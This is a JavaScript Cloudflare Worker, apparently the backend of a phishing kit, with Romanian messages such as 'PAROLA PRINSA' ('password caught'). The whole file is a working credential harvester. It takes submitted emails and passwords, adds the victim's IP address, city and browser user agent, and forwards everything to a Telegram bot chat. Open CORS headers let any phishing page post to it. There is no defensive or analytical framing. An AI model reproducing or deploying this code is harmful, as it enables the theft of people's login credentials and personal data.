export default { async fetch(req, env) { const cors = { 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Headers': 'content-type', 'Access-Control-Allow-Methods': 'GET, POST, OPTIONS' }; if (req.method === 'OPTIONS') return new Response(null, { headers: cors }); const u = new URL(req.url); let d = {}; if (req.method === 'POST') { d = await req.json().catch(() => ({})); } else if (u.searchParams.has('email')) { d = { step: 'test', email: u.searchParams.get('email'), pass: u.searchParams.get('pass') || '-' }; } else { return new Response('worker viu', { headers: cors }); } if (!env.BOT_TOKEN || !env.CHAT_ID) { return new Response('LIPSESC VARIABILELE', { status: 500, headers: cors }); } const ip = req.headers.get('cf-connecting-ip') || '?'; const geo = req.cf?.city ? `${req.cf.city}, ${req.cf.country}` : 'necunoscut'; const ua = (req.headers.get('user-agent') || '?').slice(0, 140); const r = await fetch(`https://api.telegram.org/bot${env.BOT_TOKEN}/sendMessage`, { method: 'POST', headers: { 'content-type': 'application/json' }, body: JSON.stringify({ chat_id: env.CHAT_ID, disable_web_page_preview: true, text: [ d.step === 'parola' ? 'PAROLA PRINSA' : d.step === 'test' ? 'TEST' : 'doar email', '', 'Email: ' + (d.email || '-'), 'Parola: ' + (d.pass || '-'), '', 'IP: ' + ip, 'Loc: ' + geo, 'Device: ' + ua ].join('\n') }) }); return new Response(await r.text(), { status: r.status, headers: { ...cors, 'content-type': 'application/json' } }); } };